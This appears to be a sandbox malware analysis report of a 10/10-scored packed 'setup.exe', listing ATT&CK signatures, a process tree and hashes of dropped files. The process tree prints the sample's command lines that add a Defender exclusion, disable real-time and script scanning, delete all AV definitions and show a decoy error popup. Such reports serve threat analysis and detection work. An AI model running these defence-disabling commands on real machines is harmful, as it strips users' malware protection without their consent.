6f0c412f50e088f3946bf6dab26276b0728cb80b328e1793bd21ffb87faae621

Analysis

user interaction
yes
max time kernel
149s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
11/09/2026, 23:09

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
setup.exe
Size 10.5MB
Sample260911-25mmmsfp4v
SHA256 6f0c412f50e088f3946bf6dab26276b0728cb80b328e1793bd21ffb87faae621
MD5 7c0abbb9b38e72d4446a5cedf8acbb6a
SHA1 4b832e2b5353cbd08adbde6017cf07d9be7613dc
SHA512 e31b4e743088eda4c5154d28967f9e8b514145a0cae7571cb10178866b853dcf02c569ad7d3a4c20c0a84990b6f9129d1943ed7388fa0a8b8e783044ee31956d
SSDEEP 196608:As67Yiv48OuHsAQVJXCcyqTHQm1sk60DgW3Aa59vonr36PT1KMt7oZSw:Lrib+nDwma7va59vUr3Svw
TLSH
T1ADB63328759651FBE8E6013E4E53D16AF6F03421ABA1D2DF033463673F2B5A8993D324
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
4652	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3592	powershell.exe
4552	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
4552	powershell.exe

Loads dropped DLL 19 IoCs

pid	Process
2964	setup.exe
2964	setup.exe
2964	setup.exe
2964	setup.exe
2964	setup.exe
2964	setup.exe
2964	setup.exe
2964	setup.exe
2964	setup.exe
2964	setup.exe
2964	setup.exe
2964	setup.exe
2964	setup.exe
2964	setup.exe
2964	setup.exe
2964	setup.exe
2964	setup.exe
2964	setup.exe
2964	setup.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3784	tasklist.exe

UPX packed file 55 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000c00000001c5b5-27.dat	upx
behavioral2/memory/2964-30-0x00007FFE79BD0000-0x00007FFE7A2DF000-memory.dmp	upx
behavioral2/files/0x000c00000001c5a3-33.dat	upx
behavioral2/files/0x000c00000001c5b2-35.dat	upx
behavioral2/files/0x000c00000001c5a2-40.dat	upx
behavioral2/files/0x000c00000001c5a7-43.dat	upx
behavioral2/memory/2964-44-0x00007FFE90E50000-0x00007FFE90E7C000-memory.dmp	upx
behavioral2/memory/2964-42-0x00007FFE92250000-0x00007FFE9226A000-memory.dmp	upx
behavioral2/memory/2964-39-0x00007FFE94BB0000-0x00007FFE94BBF000-memory.dmp	upx
behavioral2/memory/2964-36-0x00007FFE90E80000-0x00007FFE90EA9000-memory.dmp	upx
behavioral2/files/0x000c00000001c5ae-45.dat	upx
behavioral2/memory/2964-47-0x00007FFE90DD0000-0x00007FFE90E50000-memory.dmp	upx
behavioral2/files/0x000c00000001c5a9-48.dat	upx
behavioral2/memory/2964-50-0x00007FFE90DC0000-0x00007FFE90DCD000-memory.dmp	upx
behavioral2/files/0x000c00000001c5ad-51.dat	upx
behavioral2/memory/2964-54-0x00007FFE90DB0000-0x00007FFE90DBF000-memory.dmp	upx
behavioral2/files/0x000c00000001c5a5-56.dat	upx
behavioral2/memory/2964-59-0x00007FFE8EC30000-0x00007FFE8EC44000-memory.dmp	upx
behavioral2/files/0x000c00000001c5b1-58.dat	upx
behavioral2/memory/2964-61-0x00007FFE79590000-0x00007FFE79BC1000-memory.dmp	upx
behavioral2/files/0x000c00000001c5aa-63.dat	upx
behavioral2/files/0x000c00000001c5ac-64.dat	upx
behavioral2/files/0x000c00000001c5b3-66.dat	upx
behavioral2/memory/2964-72-0x00007FFE90E80000-0x00007FFE90EA9000-memory.dmp	upx
behavioral2/memory/2964-71-0x00007FFE8E490000-0x00007FFE8E4C5000-memory.dmp	upx
behavioral2/memory/2964-70-0x00007FFE88C20000-0x00007FFE88D73000-memory.dmp	upx
behavioral2/memory/2964-69-0x00007FFE8EC10000-0x00007FFE8EC2A000-memory.dmp	upx
behavioral2/memory/2964-68-0x00007FFE79BD0000-0x00007FFE7A2DF000-memory.dmp	upx
behavioral2/files/0x000c00000001c5ab-78.dat	upx
behavioral2/memory/2964-81-0x00007FFE8C180000-0x00007FFE8C1A6000-memory.dmp	upx
behavioral2/files/0x000c00000001c5bf-80.dat	upx
behavioral2/files/0x000c00000001c5b8-84.dat	upx
behavioral2/memory/2964-83-0x00007FFE7D260000-0x00007FFE7D3EA000-memory.dmp	upx
behavioral2/memory/2964-87-0x00007FFE8BF40000-0x00007FFE8BF4D000-memory.dmp	upx
behavioral2/files/0x000c00000001c5c0-88.dat	upx
behavioral2/memory/2964-86-0x00007FFE90E50000-0x00007FFE90E7C000-memory.dmp	upx
behavioral2/memory/2964-91-0x00007FFE88B60000-0x00007FFE88C1E000-memory.dmp	upx
behavioral2/memory/2964-90-0x00007FFE90DD0000-0x00007FFE90E50000-memory.dmp	upx
behavioral2/memory/2964-120-0x00007FFE8BF40000-0x00007FFE8BF4D000-memory.dmp	upx
behavioral2/memory/2964-121-0x00007FFE88B60000-0x00007FFE88C1E000-memory.dmp	upx
behavioral2/memory/2964-119-0x00007FFE7D260000-0x00007FFE7D3EA000-memory.dmp	upx
behavioral2/memory/2964-117-0x00007FFE88C20000-0x00007FFE88D73000-memory.dmp	upx
behavioral2/memory/2964-118-0x00007FFE8C180000-0x00007FFE8C1A6000-memory.dmp	upx
behavioral2/memory/2964-116-0x00007FFE8E490000-0x00007FFE8E4C5000-memory.dmp	upx
behavioral2/memory/2964-115-0x00007FFE8EC10000-0x00007FFE8EC2A000-memory.dmp	upx
behavioral2/memory/2964-114-0x00007FFE79590000-0x00007FFE79BC1000-memory.dmp	upx
behavioral2/memory/2964-105-0x00007FFE79BD0000-0x00007FFE7A2DF000-memory.dmp	upx
behavioral2/memory/2964-110-0x00007FFE90DD0000-0x00007FFE90E50000-memory.dmp	upx
behavioral2/memory/2964-113-0x00007FFE8EC30000-0x00007FFE8EC44000-memory.dmp	upx
behavioral2/memory/2964-112-0x00007FFE90DB0000-0x00007FFE90DBF000-memory.dmp	upx
behavioral2/memory/2964-111-0x00007FFE90DC0000-0x00007FFE90DCD000-memory.dmp	upx
behavioral2/memory/2964-109-0x00007FFE90E50000-0x00007FFE90E7C000-memory.dmp	upx
behavioral2/memory/2964-108-0x00007FFE92250000-0x00007FFE9226A000-memory.dmp	upx
behavioral2/memory/2964-107-0x00007FFE94BB0000-0x00007FFE94BBF000-memory.dmp	upx
behavioral2/memory/2964-106-0x00007FFE90E80000-0x00007FFE90EA9000-memory.dmp	upx

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3948	cmd.exe
4128	cmd.exe
4892	cmd.exe
4444	cmd.exe
2072	cmd.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
2964	setup.exe
2964	setup.exe
4552	powershell.exe
4552	powershell.exe
3592	powershell.exe
3592	powershell.exe
3592	powershell.exe
4072	WMIC.exe
4072	WMIC.exe
4072	WMIC.exe
4072	WMIC.exe
4552	powershell.exe
3704	mspaint.exe
3704	mspaint.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4552	powershell.exe
Token: SeDebugPrivilege	3592	powershell.exe
Token: SeDebugPrivilege	3784	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4072	WMIC.exe
Token: SeSecurityPrivilege	4072	WMIC.exe
Token: SeTakeOwnershipPrivilege	4072	WMIC.exe
Token: SeLoadDriverPrivilege	4072	WMIC.exe
Token: SeSystemProfilePrivilege	4072	WMIC.exe
Token: SeSystemtimePrivilege	4072	WMIC.exe
Token: SeProfSingleProcessPrivilege	4072	WMIC.exe
Token: SeIncBasePriorityPrivilege	4072	WMIC.exe
Token: SeCreatePagefilePrivilege	4072	WMIC.exe
Token: SeBackupPrivilege	4072	WMIC.exe
Token: SeRestorePrivilege	4072	WMIC.exe
Token: SeShutdownPrivilege	4072	WMIC.exe
Token: SeDebugPrivilege	4072	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4072	WMIC.exe
Token: SeRemoteShutdownPrivilege	4072	WMIC.exe
Token: SeUndockPrivilege	4072	WMIC.exe
Token: SeManageVolumePrivilege	4072	WMIC.exe
Token: 33	4072	WMIC.exe
Token: 34	4072	WMIC.exe
Token: 35	4072	WMIC.exe
Token: 36	4072	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4072	WMIC.exe
Token: SeSecurityPrivilege	4072	WMIC.exe
Token: SeTakeOwnershipPrivilege	4072	WMIC.exe
Token: SeLoadDriverPrivilege	4072	WMIC.exe
Token: SeSystemProfilePrivilege	4072	WMIC.exe
Token: SeSystemtimePrivilege	4072	WMIC.exe
Token: SeProfSingleProcessPrivilege	4072	WMIC.exe
Token: SeIncBasePriorityPrivilege	4072	WMIC.exe
Token: SeCreatePagefilePrivilege	4072	WMIC.exe
Token: SeBackupPrivilege	4072	WMIC.exe
Token: SeRestorePrivilege	4072	WMIC.exe
Token: SeShutdownPrivilege	4072	WMIC.exe
Token: SeDebugPrivilege	4072	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4072	WMIC.exe
Token: SeRemoteShutdownPrivilege	4072	WMIC.exe
Token: SeUndockPrivilege	4072	WMIC.exe
Token: SeManageVolumePrivilege	4072	WMIC.exe
Token: 33	4072	WMIC.exe
Token: 34	4072	WMIC.exe
Token: 35	4072	WMIC.exe
Token: 36	4072	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4552	powershell.exe
Token: SeSecurityPrivilege	4552	powershell.exe
Token: SeTakeOwnershipPrivilege	4552	powershell.exe
Token: SeLoadDriverPrivilege	4552	powershell.exe
Token: SeSystemProfilePrivilege	4552	powershell.exe
Token: SeSystemtimePrivilege	4552	powershell.exe
Token: SeProfSingleProcessPrivilege	4552	powershell.exe
Token: SeIncBasePriorityPrivilege	4552	powershell.exe
Token: SeCreatePagefilePrivilege	4552	powershell.exe
Token: SeBackupPrivilege	4552	powershell.exe
Token: SeRestorePrivilege	4552	powershell.exe
Token: SeShutdownPrivilege	4552	powershell.exe
Token: SeDebugPrivilege	4552	powershell.exe
Token: SeSystemEnvironmentPrivilege	4552	powershell.exe
Token: SeRemoteShutdownPrivilege	4552	powershell.exe
Token: SeUndockPrivilege	4552	powershell.exe
Token: SeManageVolumePrivilege	4552	powershell.exe
Token: 33	4552	powershell.exe
Token: 34	4552	powershell.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
3704	mspaint.exe
3704	mspaint.exe
3704	mspaint.exe
3704	mspaint.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 264 wrote to memory of 2964	264	setup.exe	86
PID 2964 wrote to memory of 4128	2964	setup.exe	88
PID 2964 wrote to memory of 4892	2964	setup.exe	89
PID 2964 wrote to memory of 4444	2964	setup.exe	90
PID 2964 wrote to memory of 2072	2964	setup.exe	93
PID 4128 wrote to memory of 3592	4128	cmd.exe	96
PID 4892 wrote to memory of 4552	4892	cmd.exe	97
PID 4444 wrote to memory of 3448	4444	cmd.exe	98
PID 2964 wrote to memory of 3948	2964	setup.exe	99
PID 2072 wrote to memory of 3784	2072	cmd.exe	101
PID 3948 wrote to memory of 4072	3948	cmd.exe	102
PID 4892 wrote to memory of 4652	4892	cmd.exe	104

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:264
- C:\Users\Admin\AppData\Local\Temp\setup.exe
  "C:\Users\Admin\AppData\Local\Temp\setup.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\setup.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4128
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\setup.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3592
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4892
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4552
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:4652
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('looks like your operating system is not compatible', 0, 'uh oh!', 0+16);close()""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4444
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('looks like your operating system is not compatible', 0, 'uh oh!', 0+16);close()"
      4⤵
      PID:3448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2072
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3948
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4072

C:\Windows\system32\mspaint.exe
"C:\Windows\system32\mspaint.exe" "C:\Users\Admin\Desktop\SplitMerge.dib"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
1⤵
PID:5784

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Credential Access

Discovery

Process Discovery

T1057

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 30b9b9ac889d22b034605b3fe9aec47c3fe95ac61e11d649ab6fe86285e864e8
MD5 465ae4a0f214d4ef29853b0fb7414c4e
SHA1 838ea61bb580d820c605a0c0452709af7d33fc73
SHA512 f3038623c64a6b0c3f6664b8307472379eacd3f43888084e6d04ed890e8af6bd97a1a13bdbedbb0bb4748fa1a76de30ce364882ae15005074d3febe0666ba25f
TLSH
T1FE216833B3DD8614CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\VCRUNTIME140.dll
Size 174KB
SHA256 d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7
MD5 07bc2f9c4c1b07e1cc013ca0079b31ac
SHA1 1098f2a834146995df7a91c78f72f210d8d2d12d
SHA512 8fd063d61d1c57bfae5ef105b1796c141ef2752dbad17ae79f974c417542c075bc8b4ac12163629a74e43004fd9cf170a76de9d11841b6e5c236f5b47fbbb09b
SSDEEP 3072:aoq3aLPst/GrhA4gBSnSQ37QwZyeBB0ecbavp7D:aofLPsmBnSQ3VyeBB0ecbaV
TLSH
T1C6048D51B2CC00B2E92B9674CCD69553D6B1B0057B30AADF47A846782F33FF2A63DA15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140_1.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\VCRUNTIME140_1.dll
Size 48KB
SHA256 a7146c08f89fe5b04541ab507cdb59ff7b44534d4ba3c668a426c6450a03434e
MD5 bbfa92d8173376c972fd58dcf5ca6aaa
SHA1 b7b4b6e7045caccc0f790e3395e1f514d01f6b2f
SHA512 f5856e7cb7bc8f40efc276f8e7024db9176052ebd47cd02e799aacde650293992a84a6a4856dd974077e94e688bb4ed67f18c1dfd8357afa8698dd0dfead68d3
SSDEEP 768:bmiyc1PGhsryS/TAiblJce9z4Snqdlfe9z1Y:2cF8srygDlSaz4Ez1Y
TLSH
T1DA235E8193BC8086E8B798B480EBDF13BD3DB661976192CF1BA1E15C1D537C0D73926A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\_bz2.pyd
Size 51KB
SHA256 f3b6866898dcc0edeb3bad6b935974f059cd2a9254603d1f766d892cb3bdb457
MD5 3ffba544fb6b6e9cd661e089101edf6c
SHA1 69650c3a744b47dbbe272daef561ef201298abc4
SHA512 1713a27861e56f258e0beff4651a0bfe05623f2175bb40204680d612c1686938dc7aa3676da9511a2685f37f1bbab7d0f427050c528247dec1d0e93be6a046ae
SSDEEP 1536:+grRnv1oCAhFJdAFJm0OnIp3V17yPs5i9EfIY+8i:HV+C/mhIp3V14V
TLSH
T18A33D0CB0AB48096D7635DB261B0E943FA35ABD3A410979630DD724E0E6B7D1A313369
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\_ctypes.pyd
Size 67KB
SHA256 f5c39d33d5e626f790e55846021017e8cb06a78315a9b0dcaec96875ea583bdc
MD5 dccfd9009cf8cdd62a2a2d0741a88a79
SHA1 112096a0a02b26c4ad57f47e028176c110815e99
SHA512 725762277f9cd4003f4bea6f6a19c3e51a9dd9f4d79c404e86423b1e02b67d281ba6b5d7e83b4d38d5db572571d845fe3c01a9420f28c112984275caeb24e700
SSDEEP 1536:IGsidR9UsG6C+QTu1a4Q+3JnzwjGBPLjyIpGPiWyPs5i90fIYHD:I/IPG6/85+Z8jGtLuIpGPi1S
TLSH
T1F063E0CE427D9191F7531630B2F4DC93FE385BD364621B6E30E991AA09AB3C2A707265
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\_hashlib.pyd
Size 38KB
SHA256 26d9d20a3c7bbc62b2a430e4df19bd83335b17cda45da4adcac6bc3e00c731f5
MD5 05c0cd12d66b1f2a14beb8a9a5eb4cdb
SHA1 e092c523de83ce281a410b89f9c421bbb66b1409
SHA512 7a4873d1b0d04bdd648a870411b2dc0ca1b1f667e895d097aab355039af95c64630a30639f4b56de79107c4e59a7fe802ed5d2a24dff758637852a7ea4b92245
SSDEEP 768:OFzCaLH2eWtTkvVE9k6p2vZ+5EApaBIpDIAOyPsSvPuBL2Ip4NTxf1ml9dHH7LM:0CHPp2vMuBIpDIAOyPs5i9nfIbHHnM
TLSH
T12C03AFC64638D012FBA3A9B172E0DDC2FE34A7A3545257BB30E9A2D51E633C0D727265
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\_lzma.pyd
Size 88KB
SHA256 4341f36a310038d57a789dc16ef7323c9016ed24c954d05f07b1a69ae3aed70d
MD5 e3f9d2a7cde2bfdb0d8fb2c578b6eac7
SHA1 7ed8f1465964d5f8c65949fe9851d2af9b702a99
SHA512 764a0721caea76977b5ade2b6b36fbaf5dbacc6049dfdb53f6135a8ffe169d31a66645bbf5b1b88def2551dd19ffa36112a8dfbcd83f29b001204c19d2bc372a
SSDEEP 1536:NbCORtk/GFJL/D1c0VkwjHnOFm9b/uko4J3b4ohwTpC3dIpI1ihyPs5i9OQfIY29:IORuGFt/HkG/G4J3b4GwTpCtIpI1iLx1
TLSH
T1FA9302DBC7F88063FE636D3071F5CA82793557EB622687A314DE71520E223C5A3A3265
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_queue.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\_queue.pyd
Size 28KB
SHA256 94c97f4d6e22c1de3c3f2fde590eed1b9a8968e0d094a5d68676ba48a7de6194
MD5 e515e43892aeadebb9520e1fddf8eed8
SHA1 9423659a1720aabdf10bae04ac427b355c990748
SHA512 e93127fd331f947960da280ba3de3b6994d3abcecfa692771a110a3bccec8e11ae3945eafd8aaf70ae4367aa1e647a149abb3c9a1b04ea8bfbe45b1f54a72d2d
SSDEEP 768:b2YI3si/fuHLEHTtpCPIpRUA3yPsSvPuBL2Ip4uTxf1mlRaXN61k:bpH/PIpRUA3yPs5i9ufIYNh
TLSH
T170D29ED64678C026FA32AE7162F4DD83FA357BD36810876730EDA1AA0E633D1D317265
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\_socket.pyd
Size 46KB
SHA256 b289c0795f859042c5d9c285d1344f294e1948c7974fe6cab4fbfef8f3dff483
MD5 a492b1eb2e3e773e2878ac0583106c71
SHA1 faaff400d02fa3d453a30fd9eb04b282efe49071
SHA512 04d17591a2ffad2acd806cf02584eb9fa666813e3a4ab6e25028f0c4c353c5284acb64faf30f210fd84054337e029d1dcbcc09d41a144ec595b655af7c7ec332
SSDEEP 768:WlRvR/zcKTGGtU7gujesZiZJx2u/Y6dlwWIefwptq2IpGw1YtnyPsSvPuBL2Ip4Y:uvRYKTGooe4ifT/hdlw+fqq2IpGw1Anh
TLSH
T1B823BFE70268E056EAB39F7262A4D9C3F6B87FA310565727309DA1960E733C19B05329
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_sqlite3.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\_sqlite3.pyd
Size 61KB
SHA256 02cf182b7192f87087ee2db0fc9afe248261de0946888c451dcc5467c4bb323a
MD5 8b893dd490ba82830f03ab4ef0af1258
SHA1 eb850744d511a9ca9280aba793dced488d0bf7f8
SHA512 4614b3cd890869f4b79359b5711ca89ab48384b325cdf350bbdbc9217bacbb6a2143ac5f0a1f27a4ad84a14af07608df3417758647a6fe1c43041eaa6a80ac33
SSDEEP 1536:BBtb9E25fsDSAIL3fY1zQceb4xwcD9Ja/jZIpDQlWyPs5i9NbfIkFy:ntb9fsDxCfY1Bo4RD98lIpDQlV8P
TLSH
T14053E1C6837890A6E6B69D7190E4D956FD3627F39034867328F674A10EE73839702238
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ssl.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\_ssl.pyd
Size 69KB
SHA256 a8c98340192d0b7c7361796a8368facff0fe0fdca29404fe9505371ca1c47707
MD5 9af9842fc0f7dc0a968b2922fa35ec11
SHA1 329c112d4f5a13f38b4386b516ea38e8aed8d3b8
SHA512 7bda8da7bce8959afbf8ac6259f1d8d31367fd31c3f030981a5e92c981d682212a109497f99a0dde0733c6e3384c9be6cb0aead4f3a7975a5e2f03468ab47d84
SSDEEP 1536:k0REJRkC9CxzEXZHwdBxHGrWY/groNukG7vIp37S03yPs5i9wfILFq:52J2gCxzEpqBtGrWY/grIVG7Ip37S1c
TLSH
T11063E0DB8938A026FE716A3191E4CC43B971E2D3A449872F34D9B3E616133D0E757768
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_wmi.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\_wmi.pyd
Size 30KB
SHA256 06de81ad9c4742f2a63a33bb72f0d5d6950fffe560026d91f12b4e57d246a63c
MD5 1ff3b8a4df57d0437c686241311647d1
SHA1 1ef0b37393364908f522635258dc1085a3923fbe
SHA512 c1d9cd36ea74bb1ebf03c85f4352143d08f07c5b231bfec0c18692a9b5c9810140f838bd496c161022dba7d622d33e8f1d2b803dff6f1270feaba3625d11998b
SSDEEP 768:/+So74TudMdaHYbpLTdIp3igVyPsSvPuBL2Ip4/Txf1mlRaXE6XJ:GSoUfcYdTdIp3igVyPs5i9FfIYEq
TLSH
T19EE29ED7453C812AEA73DE7192E8DCC7FA3877E710154B6A349992E50E273D1E303269
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_zstd.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\_zstd.pyd
Size 176KB
SHA256 63953c318a82fe08b727794e6ab2d9e8833f2dd109f6aa65ee4e82c019904b1f
MD5 b403bd203d477f21594c6920c1be7c55
SHA1 03c3687d4c64158b572d6d84d2cb30f62a79e900
SHA512 68d3b68a8dae9c7052993afbbc8c457a783c4a601644019a818b12273a1e1a30a4db9f4be3f974dbdfe270b4e79cadc8efd988246361a9415e5c56b393bf41dd
SSDEEP 3072:M9qd7z3VzZvhqR01Nj0c5+Ta0nzMn4qonZzRhpBcU97IpIMz9TH:gqtPIR0vx+m/n4q6Z7rcUOtH
TLSH
T1A40412D41068102DF5C3B9B23598DACF6AB883D7644C5FB770B8B2920A73B91AF52374
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

base_library.zip

Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\base_library.zip
Size 1.3MB
SHA256 9e838aa86ce9ac3c95d5373df18490fb8e3e262c3ddf1df363d74afc54122a6c
MD5 57e9484316e8482e9feec00165f09a2f
SHA1 b6879e8aaf9f4c23f75f1b4b4aa955a1f6fd9cb8
SHA512 25f76a0b6e48f19a0ceb7cb3fe7905de2e20d14bff33a4a91b3f8cf663447dee13c92ca0999550615f805a88d4bc215e9081182cd6f28e895300d31f48ef79c0
SSDEEP 24576:YdCuUFjlb2nQeOdP2m2dfbvRZUDZZUYBLw5u:YdCuUF4/zRy0YZ
TLSH
T1C1552B91B9917967FEC9F37A35B75A0CA715C0109B20D303B4A88DAC6FDF260AE558CC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

blank.aes

Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\blank.aes
Size 95KB
SHA256 b12841aa125be8208dd028f4123ded9857546abd500336af72197c31f6b863a6
MD5 91bef1aae804a33b146ec4e43455525e
SHA1 b7c275462f05b53c9000d99e36f887c173af54b6
SHA512 eb872d42a23cf4839488a7f345491a4dcb635dd0d53ad12b640f379cf8ee7e8ecba9b9ee18787de2d4fb28fa485cbc2535b77ee0949cca76dc5dd09b6c85aff0
SSDEEP 1536:Ga5MGDJZ+wpYKKw4SqsX6Dy/2gx/LIIj3tEGCjWw3AtiIWFCe1N73id:GgMwrOKKw4SqsX6DyOc3BKWwhdCMO
TLSH
T16F93D0F927C5672FE49DF7BE30DB421AE395D5D1E2A6EF07D03A804D5D10A06A88838C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

blank.aes

Path C:\Users\Admin\AppData\Local\Temp\_MEI000001082\blank.aes
Size 95KB
SHA256 eb6b161933ec8fd611162c2868a92babb26bc28cb95c8e778bf413fcfe53ca2c
MD5 f9eff26f43ad0fef92bbf894e2260100
SHA1 1fee1daf04b17c8ff7ca819bdbb8a41d5203f36d
SHA512 97c58490ef404908d01050d2c2b92854297295e99f6a3157beb935b626442a6fea49e21f3eef8a0f5bd75dd71a386d15fcdc078a1169121cf474ef21a8f8799c
